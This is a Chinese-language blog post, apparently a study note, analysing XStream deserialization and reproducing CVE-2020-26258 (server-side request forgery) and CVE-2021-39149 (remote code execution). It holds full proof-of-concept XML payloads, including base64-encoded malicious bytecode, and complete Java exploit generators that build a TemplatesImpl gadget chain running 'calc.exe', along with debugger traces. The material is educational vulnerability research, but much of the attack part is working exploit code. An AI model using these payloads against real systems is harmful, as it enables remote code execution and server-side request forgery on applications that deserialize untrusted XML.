Xstream反序列化

image-20240424152655533

前言

XStream - About XStream (x-stream.github.io)

XStream是一个简单的库,可以将对象序列化为XML,然后再序列化回来。这是官网给的序列化例子。

image-20240420121822666

XStream的架构由6个主要组件组成。

  • Converters
  • Mappers
  • Drivers (Writer and Reader)
  • Context
  • Type Permissions
  • Facade

Converters用来实现转换为XML的对象时,

XStream附带了许多常见类型的转换器,包括基本类型、字符串、集合、数组、null、Date等。

XStream还有一个默认的转换器,当没有其他转换器匹配某个类型时使用。这使用反射为对象中的所有字段自动生成XML。

Drivers是负责从“流”中直接读取并操作XML,有两个接⼝分别是HierarchicalStreamWriterHierarchicalStreamReader 分别负责将 Java对象序列化到XML数据格式以及从XML数据格式反序列化到Java对象。

Context是序列化和反序列化过程中所必须的⼀个对象,它会根据操作创建MarshallingContext 或 UnmarshallingContext,相关过程将会从对应的Context中查找对应的Converters去完成相应的转换操作。

源码分析

依赖

1
2
3
4
5
6
7
8
9
10
<dependency>
<groupId>com.thoughtworks.xstream</groupId>
<artifactId>xstream</artifactId>
<version>1.4.5</version>
</dependency>
<dependency>
<groupId>org.codehaus.jettison</groupId>
<artifactId>jettison</artifactId>
<version>1.4.1</version>
</dependency>

一个demo看看Xstream如何将java对象序列化成xml数据

首先是两个简单的pojo类,都实现了Serializable接口并且重写了readObject方法

people.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
package Xstream;

import java.io.IOException;
import java.io.Serializable;
public class People implements Serializable{
private String name;
private int age;
private Company workCompany;
public People(String name, int age, Company workCompany) {
this.name = name;
this.age = age;
this.workCompany = workCompany;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
public Company getWorkCompany() {
return workCompany;
}
public void setWorkCompany(Company workCompany) {
this.workCompany = workCompany;
}
private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException {
s.defaultReadObject();
System.out.println("Read People");
}
}

Company.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
package Xstream;
import java.io.IOException;
import java.io.Serializable;
public class Company implements Serializable {
private String companyName;
private String companyLocation;
public Company(String companyName, String companyLocation) {
this.companyName = companyName;
this.companyLocation = companyLocation;
}
public String getCompanyName() {
return companyName;
}
public void setCompanyName(String companyName) {
this.companyName = companyName;
}
public String getCompanyLocation() {
return companyLocation;
}
public void setCompanyLocation(String companyLocation) {
this.companyLocation = companyLocation;
}
private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException {
s.defaultReadObject();
System.out.println("Company");
}
}

test.java

1
2
3
4
5
6
7
8
9
10
11
12
package Xstream;

import com.thoughtworks.xstream.XStream;

public class test {
public static void main(String[] args){
XStream xStream = new XStream();
People people = new People("Atlant1c",20,new Company("CQUPT","ChongQing"));
String xml = xStream.toXML(people);
System.out.println(xml);
}
}

这是实现了Serializable接口的结果

image-20240420154436718

未实现Serializable接口

image-20240420154518426

二者结果是不一样的。java反序列化利用链,类必须要可Serializable,但是在Xstream上,并不是必须。

重点看到反序列化的流程上

在test添加代码

1
2
People p = (People) xStream.fromXML(xml);
System.out.println(p);

断点打在fromXML这个方法上

一路经过等等方法

com.thoughtworks.xstream.XStream#fromXML(java.lang.String)

com.thoughtworks.xstream.XStream#unmarshal(com.thoughtworks.xstream.io.HierarchicalStreamReader, java.lang.Object, com.thoughtworks.xstream.converters.DataHolder)

com.thoughtworks.xstream.core.AbstractTreeMarshallingStrategy#unmarshal方法调用了TreeUnmarshaller类的start方法

image-20240420165850357

来看这个start方法

image-20240420170002368

start() 方法是搞编组的,start() 方法首先调用了 readClassType() 方法,会获取到 XML 文件中根标签的类型

image-20240420170251069

接着调用了convertAnother方法,这里会获取一个converter,Xstream的思路是通过不同的converter来处理序列化数据中不同类型的数据,我们跟进该方法看看在处理最外层的没有实现Serializable接口的People类时用的是哪种converter

image-20240420170432177

在实现了接口的时候返回了SerializableConverter

image-20240420170644032

删掉Serializable接口再来看看,这时候可以看到返回的为ReflectionConverter,处理我们自定义的未实现Serializable接口的People类时使用ReflectionConverter,该Converter的原理是通过反射获取类对象并通过反射为其每个属性进行赋值。

image-20240420170833227

后面就是convert() 方法会调用 getCurrentReferenceKey() 来获取当前的 Reference 键即标签名,接着将当前标签名压入 parentStack 栈中。后面就不分析了。

重新实现Serializable接口,然后在我们重写的redaObject方法打上断点,停了下来,说明重写的方法得到了执行

image-20240420171302607

调用readObject方法就可以进行反序列化攻击了(一种利用方式, CVE-2021-21344就是利用了PriorityQueue类的readObject)。当然java反序列化利用链,类必须要可Serializable,但是在Xstream上,并不是必须。

漏洞前瞻

官网可以看到历史漏洞XStream - Security Aspects (x-stream.github.io),官方会把poc直接给出来

image-20240420192844601

打算复现一下漏洞

CVE ID Description&&Restrictions
CVE-2021-39149 无限制
CVE-2020-26258 服务端请求伪造漏洞

CVE-2020-26258

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>
<dataHandler>
<dataSource class='javax.activation.URLDataSource'>
<url>http://localhost:8080/internal/:</url>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<string>test</string>
</entry>
</map>

调试

要把这个xml反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
package Xstream;

import com.sun.syndication.feed.atom.Person;
import com.thoughtworks.xstream.XStream;
import com.thoughtworks.xstream.io.xml.DomDriver;

import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.util.Scanner;

public class Deserialize {
public static void main(String[] args) throws FileNotFoundException {
FileInputStream xml = new FileInputStream("D:\\ctf\\学习笔记\\java安全\\反序列化\\Gadget\\src\\main\\java\\Xstream\\CVE-2020-26258.xml");
XStream xstream = new XStream(new DomDriver());
Person p = (Person) xstream.fromXML(xml);
System.out.println(p);
}
}

com.thoughtworks.xstream.core.TreeUnmarshaller#convert方法打上断点,前面的过程就是上面分析的。

image-20240420214157057

步入

image-20240420214357484

上面那行调用了createCollection方法根据XML数据格式中的反射创建java.util.Map对象。

image-20240420214723522

在populateMap方法中反序列化Map中的KV对。

image-20240420214950330

在com.thoughtworks.xstream.mapper.DefaultMapper#realClass方法打个断点image-20240420220633749

简单看看获取KV对的调用栈吧。现在已经通过Java反射完成初始化。

image-20240420220551083

然后就是调用HashMap.put() ,熟悉吧

image-20240420222246952

步入

image-20240420222312587

步入

image-20240420222339225

步入

image-20240420222704317

步入

image-20240420222733791

步入到getInputStream方法,然后就看到

image-20240420222820010

image-20240420222920753

EXP

自己参考构造的喔,不是完全照搬。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
package Xstream;

import com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data;
import com.sun.xml.internal.ws.encoding.DataSourceStreamingDataHandler;
import com.thoughtworks.xstream.XStream;
import com.thoughtworks.xstream.converters.reflection.SunUnsafeReflectionProvider;
import sun.misc.Unsafe;

import javax.activation.URLDataSource;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class xstream26217 {
public static void main(String[] args)throws Exception{
Base64Data base64Data = new Base64Data();
URLDataSource urlDataSource =new URLDataSource(new URL("http://localhost:8080"));
DataSourceStreamingDataHandler dataSourceStreamingDataHandler=new DataSourceStreamingDataHandler(urlDataSource);
base64Data.set(dataSourceStreamingDataHandler);
Object nativeString = instaniateUnsafe().allocateInstance(Class.forName("jdk.nashorn.internal.objects.NativeString"));
setField("value",nativeString,base64Data);
HashMap hashMap=new HashMap();
hashMap.put(nativeString,nativeString);
XStream xStream = new XStream();
System.out.println(xStream.toXML(hashMap));
}
private static Unsafe instaniateUnsafe() throws Exception {
Field unsafeField = Unsafe.class.getDeclaredField("theUnsafe");
unsafeField.setAccessible(true);
return (Unsafe) unsafeField.get(null);
}
private static void setField(String fieldName, Object defineObj, Object value) throws Exception {
SunUnsafeReflectionProvider reflectionProvider = new SunUnsafeReflectionProvider();
Field field = reflectionProvider.getFieldOrNull(defineObj.getClass(), fieldName);
reflectionProvider.writeField(defineObj, fieldName, value, field.getDeclaringClass());
}
}

不仅仅可以使用Unsafe去实例化一个没有构造⽅法或者构造⽅法为private修饰的类,使用反射中的newConstructorForSerialization也可以。

1
2
3
4
5
6
7
8
9
10
11
/*
Class nativeString_Class1 = Class.forName("jdk.nashorn.internal.objects.NativeString");
Constructor objCons = Object.class.getDeclaredConstructor(new Class[0]);
objCons.setAccessible(true);
Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(nativeString_Class1, objCons);
sc.setAccessible(true);
Object nativeString_Object = sc.newInstance(new Object[0]);
Field nativeStringValueField = nativeString_Object.getClass().getDeclaredField("value");
nativeStringValueField.setAccessible(true);
nativeStringValueField.set(nativeString_Object, base64Data);
*/

那么又有一个问题,为什么要实例化这样一个类并且获取对象呢?

好像xml写的已经很清除了,好像也是反序列化执行恶意行为的必经之路吧。

CVE-2021-39149

测试版本1.4.7

通过TemplatesImpl加载字节码实现RCE

poc分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<linked-hash-set>
<dynamic-proxy>
<interface>map</interface>
<handler class='com.sun.corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl'>
<classToInvocationHandler class='linked-hash-map'/>
<defaultHandler class='sun.tracing.NullProvider'>
<active>true</active>
<providerType>java.lang.Object</providerType>
<probes>
<entry>
<method>
<class>java.lang.Object</class>
<name>hashCode</name>
<parameter-types/>
</method>
<sun.tracing.dtrace.DTraceProbe>
<proxy class='com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl' serialization='custom'>
<com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
<default>
<__name>Pwnr</__name>
<__bytecodes>
<byte-array>yv66vgAAADIAOQoAAwAiBwA3BwAlBwAmAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBa0gk/OR3e8+AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABNTdHViVHJhbnNsZXRQYXlsb2FkAQAMSW5uZXJDbGFzc2VzAQA1THlzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkU3R1YlRyYW5zbGV0UGF5bG9hZDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcAJwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAoAQAzeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNsZXRQYXlsb2FkAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAfeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cwEACDxjbGluaXQ+AQARamF2YS9sYW5nL1J1bnRpbWUHACoBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAAsAC0KACsALgEACGNhbGMuZXhlCAAwAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAMgAzCgArADQBAA1TdGFja01hcFRhYmxlAQAbeXNvc2VyaWFsL1B3bmVyNjMzNTA1NjA2NTkzAQAdTHlzb3NlcmlhbC9Qd25lcjYzMzUwNTYwNjU5MzsAIQACAAMAAQAEAAEAGgAFAAYAAQAHAAAAAgAIAAQAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0AAAAGAAEAAAAvAA4AAAAMAAEAAAAFAA8AOAAAAAEAEwAUAAIADAAAAD8AAAADAAAAAbEAAAACAA0AAAAGAAEAAAA0AA4AAAAgAAMAAAABAA8AOAAAAAAAAQAVABYAAQAAAAEAFwAYAAIAGQAAAAQAAQAaAAEAEwAbAAIADAAAAEkAAAAEAAAAAbEAAAACAA0AAAAGAAEAAAA4AA4AAAAqAAQAAAABAA8AOAAAAAAAAQAVABYAAQAAAAEAHAAdAAIAAAABAB4AHwADABkAAAAEAAEAGgAIACkACwABAAwAAAAkAAMAAgAAAA+nAAMBTLgALxIxtgA1V7EAAAABADYAAAADAAEDAAIAIAAAAAIAIQARAAAACgABAAIAIwAQAAk=</byte-array>
<byte-array>yv66vgAAADIAGwoAAwAVBwAXBwAYBwAZAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBXHmae48bUcYAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAANGb28BAAxJbm5lckNsYXNzZXMBACVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb287AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAaAQAjeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb28BABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAABAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAAPAAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAAAAoAAQACABYAEAAJ</byte-array>
</__bytecodes>
<__transletIndex>-1</__transletIndex>
<__indentNumber>0</__indentNumber>
</default>
</com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
<boolean>false</boolean>
</proxy>
<implementing__method>
<class>com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl</class>
<name>getOutputProperties</name>
<parameter-types/>
</implementing__method>
</sun.tracing.dtrace.DTraceProbe>
</entry>
</probes>
</defaultHandler>
</handler>
</dynamic-proxy>
</linked-hash-set>

官网也给出了一个poc但是放到idea里面会报错但是执行反序列化还是会弹计算器,好悬啊= =,上面那个poc是参考backcover7发的文章。在官网的poc基础上改两个地方

  • proxy后面的>前的/删掉不需要自闭合
  • 在TemplatesImpl结束下添加<boolean>false</boolean>

cve-2021-39149poc

当然不能只跑一下paylaod然后调试一下,这样走马观花得学习是不够得,需要的是学习如何通过xStream.toXML()来输出xml,培养构造EXP的能力。

调用链根据xml的嵌套结构很容易可以得到

1
2
3
4
5
6
java.util.LinkedHashSet
java.lang.reflect.Proxy
com.sun.corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl
sun.tracing.NullProvider
sun.tracing.dtrace.DTraceProbe
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

EXP构造

首先是三个工具方法,都是通过反射来操作对象。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public static void setFieldValue(Object obj, String fieldName, Object
value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
private static Unsafe instaniateUnsafe() throws Exception {
Field unsafeField = Unsafe.class.getDeclaredField("theUnsafe");
unsafeField.setAccessible(true);
return (Unsafe) unsafeField.get(null);
}
private static void setField(String fieldName, Object defineObj, Object value) throws Exception {
SunUnsafeReflectionProvider reflectionProvider = new SunUnsafeReflectionProvider();
Field field = reflectionProvider.getFieldOrNull(defineObj.getClass(), fieldName);
reflectionProvider.writeField(defineObj, fieldName, value, field.getDeclaringClass());
}

setFieldValue很熟悉了就不分析了。

instaniateUnsafe,嗯,Unsafe,之前见过一次,在构造LazyList利用CC的时候。用来将一个对象的内部字段修改的我们构造的恶意类的。这个方法就是通过反射获取Unsafe,这也是这个对象名为实例化Unsafe的原因。

setField这个方法使用了SunUnsafeReflectionProvider类,注意他是从Xstream的1.4.7版本以来才有的。

image-20240422171437086

使用的两个方法:getFieldOrNull返回在某个类中定义的字段。writeField修改类中定义的字段。

然后通过sun.tracing.dtrace.DTraceProbeuncheckedTrigger方法可以实现调用getOutputProperties方法来加载恶意字节码。

image-20240422185744440

1
2
3
4
5
6
7
8
9
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{getTemplates()});
setFieldValue(templates, "_name", "HelloTemplatesImpl");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

Object DTraceProbe = instaniateUnsafe().allocateInstance(Class.forName("sun.tracing.dtrace.DTraceProbe"));
Method getOutputProperties = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl").getDeclaredMethod("getOutputProperties");
setField("proxy",DTraceProbe,templates);
setField("implementing_method",DTraceProbe,getOutputProperties);

sun.tracing.NullProvider接受一个类型为 Class<? extends Provider> 的参数,并用该参数调用其超类 (ProviderSkeleton) 的构造函数。

image-20240422233406472

ProviderSkeleton的probes是一个HashMap,所以往sun.tracing.NullProvider的probes放一个可以触发hashcode的hashmap,并且将之前危险代码放在value部分

image-20240422192608614

故构造为

1
2
3
4
5
6
7
8
HashMap map = new HashMap();
Method method_hashcode = Class.forName("java.lang.Object").getDeclaredMethod("hashCode");
map.put(method_hashcode, DTraceProbe);

Object nullProvider = instaniateUnsafe().allocateInstance(Class.forName("sun.tracing.NullProvider"));
setField("active", nullProvider, true);
setField("providerType", nullProvider, Class.forName("java.lang.Object"));
setField("probes", nullProvider, map);

使用动态代理,invoke方法在动态代理当中会自动执行。HashMap设置为被代理类,通过设置Field值就会调用

1
2
InvocationHandler handler = (InvocationHandler) instaniateUnsafe().allocateInstance(Class.forName("com.sun.corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl"));
Object proxy = Proxy.newProxyInstance(handler.getClass().getClassLoader(), new HashMap().getClass().getInterfaces(), handler);

然后设置值将链子首位相接

1
2
setFieldValue(handler, "classToInvocationHandler", new LinkedHashMap());
setFieldValue(handler, "defaultHandler", nullProvider);

通过设置classToInvocationHandlernew LinkedHashMap()

com.sun.corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl类的invoke方法执行,defaultHandler设置为nullProvider,就会调用sun.tracing.ProviderSkeleton#invoke

image-20240422202451897

通过反射可以将methodproxyLinkedHashMap中取出来这样就可以调用map的put方法。

完整EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
package Xstream;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.thoughtworks.xstream.XStream;
import com.thoughtworks.xstream.converters.reflection.SunUnsafeReflectionProvider;
import javassist.ClassPool;
import javassist.CtClass;
import sun.misc.Unsafe;

import java.lang.reflect.*;
import java.util.HashMap;
import java.util.LinkedHashMap;
import java.util.LinkedHashSet;

public class xstream39149 {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{getTemplates()});
setFieldValue(templates, "_name", "HelloTemplatesImpl");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

Object DTraceProbe = instaniateUnsafe().allocateInstance(Class.forName("sun.tracing.dtrace.DTraceProbe"));
Method getOutputProperties = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl").getDeclaredMethod("getOutputProperties");
setField("proxy",DTraceProbe,templates);
setField("implementing_method",DTraceProbe,getOutputProperties);

HashMap map = new HashMap();
Method method_hashcode = Class.forName("java.lang.Object").getDeclaredMethod("hashCode");
map.put(method_hashcode, DTraceProbe);

Object nullProvider = instaniateUnsafe().allocateInstance(Class.forName("sun.tracing.NullProvider"));
setField("active", nullProvider, true);
setField("providerType", nullProvider, Class.forName("java.lang.Object"));
setField("probes", nullProvider, map);

InvocationHandler handler = (InvocationHandler) instaniateUnsafe().allocateInstance(Class.forName("com.sun.corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl"));
Object proxy = Proxy.newProxyInstance(handler.getClass().getClassLoader(), new HashMap().getClass().getInterfaces(), handler);

setFieldValue(handler, "classToInvocationHandler", new LinkedHashMap());
setFieldValue(handler, "defaultHandler", nullProvider);

LinkedHashSet set = new LinkedHashSet();
/* set.add(proxy);*/

set.add(new Object()); // 这行代码是为了观察在linked-hash-set标签中数据是怎样储存的,然后替换成真实的payload中的proxy对应的XML数据
XStream xStream = new XStream();
System.out.println(xStream.toXML(set));
System.out.println(xStream.toXML(proxy));

}
public static void setFieldValue(Object obj, String fieldName, Object
value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
private static Unsafe instaniateUnsafe() throws Exception {
Field unsafeField = Unsafe.class.getDeclaredField("theUnsafe");
unsafeField.setAccessible(true);
return (Unsafe) unsafeField.get(null);
}
private static void setField(String fieldName, Object defineObj, Object value) throws Exception {
SunUnsafeReflectionProvider reflectionProvider = new SunUnsafeReflectionProvider();
Field field = reflectionProvider.getFieldOrNull(defineObj.getClass(), fieldName);
reflectionProvider.writeField(defineObj, fieldName, value, field.getDeclaringClass());
}
public static byte[] getTemplates() throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass template = pool.makeClass("Test");
template.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
String block = "Runtime.getRuntime().exec(\"calc.exe\");";
template.makeClassInitializer().insertBefore(block);
return template.toBytecode();
}
}

调用堆栈

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
start:1007, ProcessBuilder (java.lang)
exec:620, Runtime (java.lang)
exec:450, Runtime (java.lang)
exec:347, Runtime (java.lang)
<clinit>:-1, Test
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:422, Constructor (java.lang.reflect)
newInstance:442, Class (java.lang)
getTransletInstance:455, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
uncheckedTrigger:58, DTraceProbe (sun.tracing.dtrace)
triggerProbe:269, ProviderSkeleton (sun.tracing)
invoke:178, ProviderSkeleton (sun.tracing)
invoke:82, CompositeInvocationHandlerImpl (com.sun.corba.se.spi.orbutil.proxy)
hashCode:-1, $Proxy0 (com.sun.proxy)
hash:338, HashMap (java.util)
put:611, HashMap (java.util)
add:219, HashSet (java.util)
addCurrentElementToCollection:99, CollectionConverter (com.thoughtworks.xstream.converters.collections)
populateCollection:91, CollectionConverter (com.thoughtworks.xstream.converters.collections)
populateCollection:85, CollectionConverter (com.thoughtworks.xstream.converters.collections)
unmarshal:80, CollectionConverter (com.thoughtworks.xstream.converters.collections)
convert:72, TreeUnmarshaller (com.thoughtworks.xstream.core)
convert:65, AbstractReferenceUnmarshaller (com.thoughtworks.xstream.core)
convertAnother:66, TreeUnmarshaller (com.thoughtworks.xstream.core)
convertAnother:50, TreeUnmarshaller (com.thoughtworks.xstream.core)
start:134, TreeUnmarshaller (com.thoughtworks.xstream.core)
unmarshal:32, AbstractTreeMarshallingStrategy (com.thoughtworks.xstream.core)
unmarshal:1185, XStream (com.thoughtworks.xstream)
unmarshal:1169, XStream (com.thoughtworks.xstream)
fromXML:1049, XStream (com.thoughtworks.xstream)
main:17, Deserialize (Xstream)

小结

在EXP中new对象是为了直接调用方法,来实现连接

Unsafe通过设置Filed的值来在反序列化是被动调用方法来实现连接

使用动态代理是为了调用com.sun.corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl的invoke方法进而调用sun.tracing.ProviderSkeleton#invoke

好难啊,这链子真的是人想出来的吗?

后记

先学习佬如何分析poc然后构造exp,然后自己又尝试根据poc来构造exp。

Xstream之所以有这么多可以利用的类还是因为之前分析的反序列化的类无需实现Serializable接口,这是与JDK原生反序列化所不同的地方。

1
2
3
TreeMapConverter->TreeMap#putAll->TreeMap#put->source#compareTo->...->sink
MapConverter->HashMap#put->HashMap#hash->source#hashCode->...->sink
SerializableConverter->source#readObject->...->sink

看xml文件用Unsafe类构造exp还是比较容易的

JSON反序列化

Xstream也可以转换为JSON数据,就是多了一层转换也是会触发反序列化的,本质还是Xstream反序列化。

XStream针对JSON格式的数据的处理有两个driver可以提供支持,分别是JsonHierarchicalStreamDriverJettisonMappedXmlDriver

Serialization (Java Object -> JSON) Deserialization (JSON -> Java Object)
JsonHierarchicalStreamDriver ×
JettisonMappedXmlDriver

需要引入jettison依赖

1
2
3
4
5
<dependency>
<groupId>org.codehaus.jettison</groupId>
<artifactId>jettison</artifactId>
<version>1.1</version>
</dependency>
1
XStream xstream = new XStream(new JettisonMappedXmlDriver());

参考:

XStream反序列化详解(一) | m0d9’s blog

XStream反序列化详解(二) | m0d9’s blog

Xstream反序列化分析(CVE-2021-39149) - 先知社区 (aliyun.com)

Xstream反序列化远程代码执行漏洞深入分析 | 天融信阿尔法实验室 (topsec.com.cn)

如何高效的挖掘Java反序列化利用链? - 知乎 (zhihu.com)

如何高效地捡漏反序列化利用链? - 知乎 (zhihu.com)